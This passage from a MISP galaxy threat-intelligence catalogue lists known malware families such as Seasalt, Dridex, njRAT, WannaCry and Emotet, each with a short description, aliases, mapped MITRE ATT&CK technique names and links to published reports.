uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 3389. Table References
Links
https://attack.mitre.org/software/S0354
https://www.cybereason.com/blog/operation-cobalt-kitty-apt

Seasalt - S0345

[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)

The tag is: misp-galaxy:mitre-malware="Seasalt - S0345"

Seasalt - S0345 is also known as:

Seasalt

Seasalt - S0345 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3390. Table References
Links
https://attack.mitre.org/software/S0345
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

OceanSalt - S0346

[OceanSalt](https://attack.mitre.org/software/S0346) is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. [OceanSalt](https://attack.mitre.org/software/S0346) shares code similarity with [SpyNote RAT](https://attack.mitre.org/software/S0305), which has been linked to [APT1](https://attack.mitre.org/groups/G0006).(Citation: McAfee Oceansalt Oct 2018)

The tag is: misp-galaxy:mitre-malware="OceanSalt - S0346"

OceanSalt - S0346 is also known as:

OceanSalt

OceanSalt - S0346 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"

Table 3391. Table References
Links
https://attack.mitre.org/software/S0346
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf

AuditCred - S0347

[AuditCred](https://attack.mitre.org/software/S0347) is a malicious DLL that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) during their 2018 attacks.(Citation: TrendMicro Lazarus Nov 2018)

The tag is: misp-galaxy:mitre-malware="AuditCred - S0347"

AuditCred - S0347 is also known as:

AuditCred
Roptimizer

AuditCred - S0347 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 3392. Table References
Links
https://attack.mitre.org/software/S0347
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/

SpeakUp - S0374

[SpeakUp](https://attack.mitre.org/software/S0374) is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019. (Citation: CheckPoint SpeakUp Feb 2019)

The tag is: misp-galaxy:mitre-malware="SpeakUp - S0374"

SpeakUp - S0374 is also known as:

SpeakUp

SpeakUp - S0374 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3393. Table References
Links
https://attack.mitre.org/software/S0374
https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/

Dridex - S0384

[Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)

The tag is: misp-galaxy:mitre-malware="Dridex - S0384"

Dridex - S0384 is also known as:

Dridex
Bugat v5

Dridex - S0384 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3394. Table References
Links
https://attack.mitre.org/software/S0384
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation
https://securelist.com/dridex-a-history-of-evolution/78531/

HiddenWasp - S0394

[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statistically linked ELF binary with stdlibc++.(Citation: Intezer HiddenWasp Map 2019)

The tag is: misp-galaxy:mitre-malware="HiddenWasp - S0394"

HiddenWasp - S0394 is also known as:

HiddenWasp

HiddenWasp - S0394 has relationships with:

uses: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 3395. Table References
Links
https://attack.mitre.org/software/S0394
https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/

KONNI - S0356

[KONNI](https://attack.mitre.org/software/S0356) is a Windows remote administration too that has been seen in use since 2014 and evolved in its capabilities through at least 2017. [KONNI](https://attack.mitre.org/software/S0356) has been linked to several campaigns involving North Korean themes.(Citation: Talos Konni May 2017) [KONNI](https://attack.mitre.org/software/S0356) has significant code overlap with the [NOKKI](https://attack.mitre.org/software/S0353) malware family. There is some evidence potentially linking [KONNI](https://attack.mitre.org/software/S0356) to [APT37](https://attack.mitre.org/groups/G0067).(Citation: Unit 42 NOKKI Sept 2018)(Citation: Unit 42 Nokki Oct 2018)

The tag is: misp-galaxy:mitre-malware="KONNI - S0356"

KONNI - S0356 is also known as:

KONNI

KONNI - S0356 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3396. Table References
Links
https://attack.mitre.org/software/S0356
https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

Remexi - S0375

[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)

The tag is: misp-galaxy:mitre-malware="Remexi - S0375"

Remexi - S0375 is also known as:

Remexi

Remexi - S0375 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 3397. Table References
Links
https://attack.mitre.org/software/S0375
https://securelist.com/chafer-used-remexi-malware/89538/

njRAT - S0385

[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)

The tag is: misp-galaxy:mitre-malware="njRAT - S0385"

njRAT - S0385 is also known as:

njRAT
Njw0rm
LV
Bladabindi

njRAT - S0385 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3398. Table References
Links
https://attack.mitre.org/software/S0385
https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf
https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html
https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/

LightNeuron - S0395

[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET LightNeuron May 2019)

The tag is: misp-galaxy:mitre-malware="LightNeuron - S0395"

LightNeuron - S0395 is also known as:

LightNeuron

LightNeuron - S0395 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

Table 3399. Table References
Links
https://attack.mitre.org/software/S0395
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf

WannaCry - S0366

[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)

The tag is: misp-galaxy:mitre-malware="WannaCry - S0366"

WannaCry - S0366 is also known as:

WannaCry
WanaCry
WanaCrypt
WanaCrypt0r
WCry

WannaCry - S0366 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3400. Table References
Links
https://attack.mitre.org/software/S0366
https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/
https://www.us-cert.gov/ncas/alerts/TA17-132A
https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
https://www.secureworks.com/research/wcry-ransomware-analysis

Emotet - S0367

[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and IcedID. Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)

The tag is: misp-galaxy:mitre-malware="Emotet - S0367"

Emotet - S0367 is also known as:

Emotet
Geodo

Emotet - S0367 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 3401. Table References
Links
https://attack.mitre.org/software/S0367
https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/
https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/
https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/
https://support.malwarebytes.com/docs/DOC-2295
https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor
https://www.us-cert.gov/ncas/alerts/TA18-201A
https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/
